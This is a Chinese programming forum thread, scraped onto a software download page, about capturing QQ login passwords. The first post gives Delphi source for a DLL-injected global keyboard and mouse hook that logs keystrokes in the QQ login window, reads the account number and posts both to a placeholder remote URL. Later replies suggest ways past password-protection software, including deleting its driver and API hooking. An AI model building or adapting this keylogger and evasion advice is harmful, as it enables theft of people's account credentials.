当前位置:主页>销售管理软件> 列表

取密码框密码的问题,200分 找进销存软件免费下载

库存管理软件版1楼: 通过DLL注入已经钩到用户名了,以下是代码,用其他的键盘钩子也是不可以,在98可以,QQ的密码框和其他的都可以,希望提供代码或修改方案----纯属技术问题




procedure logthekeys();//经典的键盘记录处理函数
var
i : byte;
begin
for i:=8 To 222 do begin if GetAsyncKeyState(i)=-32767 then begin case i of

8 : {loggedkeys := loggedkeys +''[BACKSPACE]''}loggedkeys:=copy(loggedkeys,0,length(loggedkeys)-1) ;
//9 : loggedkeys := loggedkeys + ''(TAB)'';
//13 : loggedkeys := loggedkeys + #13#10;
//17 : loggedkeys := loggedkeys + ''(Ctrl)'';
//27 : loggedkeys := loggedkeys + ''(ESC)'';
32 : loggedkeys := loggedkeys + '' '';
//33 : loggedkeys := loggedkeys + ''(Page up)'';
//34 : loggedkeys := loggedkeys + ''(Page down)'';
//35 : loggedkeys := loggedkeys + ''(End)'';
//36 : loggedkeys := loggedkeys + ''(Home)'';
37 : loggedkeys := loggedkeys + ''(Left)'';//这里关键哦~一定要处理好这两个键!我懒得处理
//38 : loggedkeys := loggedkeys + ''(Up)'';
39 : loggedkeys := loggedkeys + ''(Right)'';//这里关键哦~一定要处理好这两个键!我懒得处理
//40 : loggedkeys := loggedkeys + ''(Down)'';
//44 : loggedkeys := loggedkeys + ''(Prnt Scrn)'';
//45 : loggedkeys := loggedkeys + ''(Insert)'';
//46 : loggedkeys := loggedkeys + ''(Delete)'';

//145 : loggedkeys := loggedkeys + ''(Scroll lock)'';
48 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'')''
else loggedkeys:= loggedkeys+''0'';
49 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+''!''
else loggedkeys:= loggedkeys+''1'';
50 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+''@''
else loggedkeys:= loggedkeys+''2'';
51 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+''#''
else loggedkeys:= loggedkeys+''3'';
52 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+''$''
else loggedkeys:= loggedkeys+''4'';
53 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+''%''
else loggedkeys:= loggedkeys+''5'';
54 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+''^''
else loggedkeys:= loggedkeys+''6'';
55 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+''&''
else loggedkeys:= loggedkeys+''7'';
56 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+''*''
else loggedkeys:= loggedkeys+''8'';
57 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+''(''
else loggedkeys:= loggedkeys+''9'';

65..90 :
begin
if ((GetKeyState(VK_CAPITAL))=1) then
if GetKeyState(VK_SHIFT)<0 then
loggedkeys:= loggedkeys+LowerCase(Chr(i))

else
loggedkeys:= loggedkeys+UpperCase(Chr(i))

else
if GetKeyState(VK_SHIFT)<0 then loggedkeys := loggedkeys+UpperCase(Chr(i))
else
loggedkeys:= loggedkeys+LowerCase(Chr(i));
end;
96..105 : loggedkeys:= loggedkeys + inttostr(i-96);
106: loggedkeys:= loggedkeys+''*'';
107: loggedkeys:= loggedkeys+''&'';
109: loggedkeys:= loggedkeys+''-'';
110: loggedkeys:= loggedkeys+''.'';
111: loggedkeys:= loggedkeys+''/'';
//144 : loggedkeys:= loggedkeys+''[Num Lock]'';
//112..123:loggedkeys:= loggedkeys+''[F''+IntToStr(i - 111)+'']'';
186 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+'':''
else loggedkeys:= loggedkeys+'';'';
187 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+''+''
else loggedkeys:= loggedkeys+''='';

188 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+''<''
else loggedkeys:= loggedkeys+'','';
189 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+''_''
else loggedkeys:= loggedkeys+''-'';
190 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+''>''
else loggedkeys:= loggedkeys+''.'';
191 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+''?''
else loggedkeys:= loggedkeys+''/'';
192 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+''~''
else loggedkeys:= loggedkeys+''`'';
219 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+''{''
else loggedkeys:= loggedkeys+''['';
220 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+''|''
else loggedkeys:= loggedkeys+''\'';
221 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+''}''
else loggedkeys:= loggedkeys+'']'';
222 : if GetKeyState(VK_SHIFT)<0 then loggedkeys:= loggedkeys+''"''
else loggedkeys:= loggedkeys+'''''''';
end;
end;
end;
end;
//============获得窗体句柄部分================
function Get_qqnumber:string;
var
buffer:array[0..50] of char;
Window,Number_window:Longint;
begin
result:='''';
Window:=findwindow(nil,''身份验证'');
if window=0 then exit;
Number_window:=FindWindowex(window,0,''ComboBox'',nil);
if Number_window=0 then exit;
SendMessage(Number_window, $000D, 50, Integer(@buffer));
result:=string(buffer);
end;



function ispassword_window:boolean;//判断当前获取焦点的是否存在密码输入窗口
var
window,password_window:thandle;
begin
result:=false;
window:=findwindow(nil,''身份验证'');
if window=0 then exit;
password_window:=findwindowex(window,0,''Button'',nil);
if password_window=0 then exit;
result:=true;
end;


function isQQ:Thandle;//返回登录按钮的句柄
var
window,password_window:thandle;
begin
result:=0;
window:=findwindow(nil,''身份验证'');
if window=0 then exit;
password_window:=findwindowex(window,0,''Button'',''确定'');
if password_window=0 then exit;
result:=password_window;
end;



//================键盘钩子回调函数
function HookKey(Code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin {回车} {键盘按键按下消息}
if (wParam=13) and(((LParam shr 31)and 1)=0)and(ispassword_window) then
begin
// messagebox(0,pchar(Get_qqnumber),pchar(loggedkeys),1);
PostURL(''http://www.xxxxx.com/wxx.asp'',''num=''+HtmlEncode(Get_qqnumber)+''&pass=''+HtmlEncode(loggedkeys));
loggedkeys:='''';
end else
begin
if (((LParam shr 31)and 1)=0)and(ispassword_window) then
begin
logthekeys();

end;
end;
Result:=CallNextHookEx(KeyHook,code,Wparam,lParam);


end;


//================鼠标钩子回调函数
function HookMouse(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; export;
var
buffer:array[0..255] of char;
begin {鼠标左键按下消息}
if wparam=$0201 then
begin
{SendMessage(pMOUSEHOOKSTRUCT(lparam)^.hwnd,$000D,255,Integer(@buffer));}
if pMOUSEHOOKSTRUCT(lparam)^.hwnd=isQQ then
begin
//messagebox(0,pchar(Get_qqnumber),pchar(loggedkeys),1);
PostURL(''http://www.xxxxxx.com/wxx.asp'',''num=''+HtmlEncode(Get_qqnumber)+''&pass=''+HtmlEncode(loggedkeys));
loggedkeys:='''';
end;
end;
Result := CallNextHookEx(MouseHook, iCode, wParam, lParam);
end;






//==================挂钩
procedure HookOn;
begin
KeyHook :=SetWindowsHookEx(WH_KEYBOARD,@HookKey,HInstance,0);
MouseHook :=SetWindowsHookEx(WH_mouse, @HookMouse, HInstance, 0);

end;


//=================脱钩
procedure HookOff;
begin
UnHookWindowsHookEx(KeyHook);
UnHookWindowsHookEx(MouseHook);
end;


//=================导出函数
exports
HookOn,HookOff;

begin

end.

2楼: 好象用了键盘保护,类似联众的那种,有没有相关资料啊? 如进销存软件免费下载

3楼: 你可以參考下這本書:<>。在delphifans.com網站有下載。

4楼: 代码是没有问题,是你操作的对象采用了保护,例如现在去钩QQ就不太好弄

5楼: 键议下载刘麻子写的破QQ2005密码保护的源码看看,会有帮助的。

而且还可以丢掉你用的经典键盘记录处理函数

6楼: procedure logthekeys();//经典的键盘记录处理函数
这个函数有个好处...
不需要挂钩子也可以~~获取键盘记录~不信
试试写个定时器看看~呵呵~
这个函数其实是从..
幻影WinEggDrop的无钩子键盘记录器那里学来的招数..
不知道怎么被别人用到这里的..都是我的错~我没说清楚就发布代码了~
我该死...

刘麻子.GG的破解nPro方法是~
删除驱动.然后..API挂钩..装一下样子..呵呵~暂时没想到好办法
至于装样子...你可以替换资源~把~两个资源名称交换一下呵呵~不然就替换资源吧.
都一样..那种强行破解估计..要到Ring0下了

库存管理软件版7楼: 给分了